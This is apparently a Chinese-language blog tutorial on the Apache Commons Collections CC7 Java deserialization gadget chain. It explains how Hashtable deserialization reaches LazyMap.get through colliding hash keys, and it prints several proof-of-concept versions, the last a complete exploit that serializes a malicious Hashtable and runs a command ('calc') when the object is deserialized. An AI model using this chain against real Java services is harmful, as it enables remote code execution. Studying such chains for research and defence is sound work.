Apache Commons Collections 7 跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。
这次是利用Hashtable.readObject方法,这个类是可以序列化的。
AbstractMap.equals() 调用了get()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key) == null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } }
初写poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class equals { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object,Object> lazyMap1 = LazyMap.decorate(new HashMap <>(),chainedTransformer ); Map<Object,Object> lazyMap2 = LazyMap.decorate(new HashMap <>(),chainedTransformer ); lazyMap1.put("1" ,"1" ); lazyMap2.put("2" ,"2" ); lazyMap1.equals(lazyMap2); } }
Hashtable.reconstitutionPut() 桶 桶的本质 桶(bucket)在哈希表结构里指的就是数组中的一个位置 ,用来存放 hash 值映射到这里的元素。
哈希表底层是一个数组 (Entry[] 或 Node[])。
这个数组的每一个格子就是一个“桶”。
每个桶可能:
为空 (这个位置还没有数据)
存着一个节点 (Entry)
存着一个链表或树 (用来解决哈希冲突)
桶和 hash 值的关系 当你插入一个 key 时:
先算出它的 hash 值 (hashCode())。
再用这个 hash 值去算数组下标:
1 index = (hash & 0x7FFFFFFF ) % tab.length
算出来的 index 对应的数组格子,就是要放入的桶 。

reconstitutionPut() 因为序列化会重新将数据写入,而不是直接恢复数组,因此为了进入for循环,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
序列化 :把 key-value 数据写到流里
反序列化 :新建对象 → 新建内部数组 → 依次调用 reconstitutionPut 恢复 key-value
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public class reconstitutionPut { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map lazyMap1 = LazyMap.decorate(new HashMap (),chainedTransformer ); Map lazyMap2 = LazyMap.decorate(new HashMap (),chainedTransformer ); lazyMap1.put("yy" ,"1" ); lazyMap2.put("zZ" ,"1" ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,2 ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer,transformers); serialize(hashtable); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc7.bin" )); oos.writeObject(obj); } public static void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("cc7.bin" )); Object o = ois.readObject(); } }
但反序列化并没有执行命令。一步步检查,发现AbstractMap.equals()方法的m.size() != size()判断失败
Hashtable.put() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null ; }
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package cc7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class cc7 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map lazyMap1 = LazyMap.decorate(new HashMap (),chainedTransformer ); Map lazyMap2 = LazyMap.decorate(new HashMap (),chainedTransformer ); lazyMap1.put("yy" ,"1" ); lazyMap2.put("zZ" ,"1" ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,2 ); lazyMap2.remove("yy" ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer,transformers); serialize(hashtable); deserialize(); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc7.bin" )); oos.writeObject(obj); } public static void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("cc7.bin" )); Object o = ois.readObject(); } }
CC链思维导图
参考链接 https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/#%E5%AE%8C%E6%95%B4CC7%E9%93%BE%EF%BC%9A